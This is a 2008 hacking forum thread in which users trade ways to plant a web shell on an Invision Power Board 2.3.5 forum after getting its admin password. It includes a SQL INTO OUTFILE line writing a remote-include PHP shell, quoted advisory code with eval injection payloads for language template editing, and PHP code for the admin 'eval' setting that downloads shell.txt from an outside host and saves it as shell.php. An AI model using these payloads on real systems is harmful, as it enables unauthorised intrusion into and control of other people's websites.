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www.waraxe.us Forum Index -> Invision Power Board -> Shell on IPB 2.3.5
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Shell on IPB 2.3.5
PostPosted: Sun Oct 26, 2008 4:11 pm Reply with quote
epro
Regular user
Regular user
 
Joined: Feb 11, 2008
Posts: 24




Hy, I get admin password in IPB 2.3.5 forum and I tried to upload shell. I tried sql command in sql toolbox: SELECT '<? @include("http://myhost/w4priv.php"); ?>' INTO OUTFILE '/opt/hosting/something/forums/indexs.php' , but i got message like: USER don't have access . Something like that, is there any other way to upload shell?
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PostPosted: Sun Oct 26, 2008 5:03 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Shell can be accessed through php code execution. And php code execution is possible via language templates editing:

http://acid-root.new.fr/?0:18

Code:

VI - CODE EXECUTION

  The ACP allows admins to manage languages, they can
  choose the default language, import a new one, and edit
  them. Let's take a look in the file "sources/action_admin/
  languages.php":

   65| switch($this->ipsclass->input['code'])
   66| {
   ..|
   88|  case 'doedit':
   89|    $this->ipsclass->admin->cp_permission_check(...);
   90|    $this->save_langfile();
  110|  break;
  ...|
  935|    function save_langfile()
  936|    {
  ...|
  957|      $lang_file = CACHE_PATH."cache/lang_cache/".$row['ldir'].
  ...|                 "/".$this->ipsclass->input['lang_file'];
  958|
  959|      if (! file_exists( $lang_file ) )  ...
  ...|
  963|
  964|      if (! is_writeable( $lang_file ) ) ...
  ...|
  969|      $barney = array();
  970|       
  971|      foreach ($this->ipsclass->input as $k => $v)
  972|      {
  973|        if ( preg_match( "/^XX_(\S+)$/", $k, $match ) )
  974|        {
  975|          if ( isset($this->ipsclass->input[ $match[0] ]) )
  976|          {
  977|       $v = str_replace("'", "'", stripslashes($_POST[$match[0]]));
  978|       $v = str_replace("<", "<",  $v );
  979|       $v = str_replace(">", ">", $v );
  980|       $v = str_replace("&", "&", $v );
  981|       $v = str_replace("\r", "", $v );
  982|             
  983|       $barney[ $match[1] ] = $v;
  984|          }
  985|        }
  986|      }

  As you can see, there's several replacements which are
  made. Some HTML entities are converted to their applicable
  characters. The "stripslashes()" function is also called.
  But we don't really care about that, this will not cause
  a problem, this was just to show you how user's inputs
  are treated. Now let's see how the change is made:
 
   993|    $start = "<?php\n\n".'$lang = array('."\n";
   994|
   995|  foreach($barney as $key => $text)
   996|  {
   997|    $text   = preg_replace("/\n{1,}$/", "", $text);
   998|    $start .= "\n'".$key."'  => \"".str_replace( '"', '\"', $text)."\",";
   999|  }
  1000|       
  1001|  $start .= "\n\n);\n\n?".">";
  1002|
  1003|  if ($fh = fopen( $lang_file, 'w') )
  1004|  {
  1005|     fwrite($fh, $start );
  1006|     fclose($fh);
  1007|  }
 
  So, there's a protection against double quotes, not all
  escape characters. There are several ways to bypass this
  protection.

  The first method, is to play with what we call "dynamic
  variables". With two $, we can execute PHP code.
  Example: ${${@eval($_SERVER[HTTP_SH])}}

  The second one, is to use another escape character, a
  backslash (\) will do the stuff. The attacker must change
  two inputs. Example:

   First input: hello\
  Second input: ); @eval($_SERVER[HTTP_SH]); /*



Smile
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PostPosted: Tue Oct 28, 2008 12:27 pm Reply with quote
gyan007
Advanced user
Advanced user
 
Joined: Oct 17, 2008
Posts: 106




I don't understand it. Can anyone explain it more?
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PostPosted: Tue Oct 28, 2008 5:10 pm Reply with quote
epro
Regular user
Regular user
 
Joined: Feb 11, 2008
Posts: 24




I can't explain you this onw, but I can show one other, which is working very well!

Go to "Tools & Settings", select any of them, then press "Add New Setting", then in line "Raw PHP code to eval before showing and saving?" write php code like this:

Code:
$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/uploads/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
  $string=fgets($from,4096);
  fputs($to,$string);
}
fclose($to);
fclose($from);


Where $linky = link to shell and $saved = full direction where save file.

You can get full direction in php-info!
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PostPosted: Wed Oct 29, 2008 9:32 am Reply with quote
gyan007
Advanced user
Advanced user
 
Joined: Oct 17, 2008
Posts: 106




I tried it but the phpinfo gives a 404.. Sad Any idea's on how to get the path?
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PostPosted: Thu Oct 30, 2008 8:30 am Reply with quote
pexli
Valuable expert
Valuable expert
 
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




gyan007 ---> http://www.waraxe.us/ftopict-3575.html#14793
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PostPosted: Thu Oct 30, 2008 1:12 pm Reply with quote
gyan007
Advanced user
Advanced user
 
Joined: Oct 17, 2008
Posts: 106




Lol both topics link back to eachother Smile
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Shell on IPB 2.3.5
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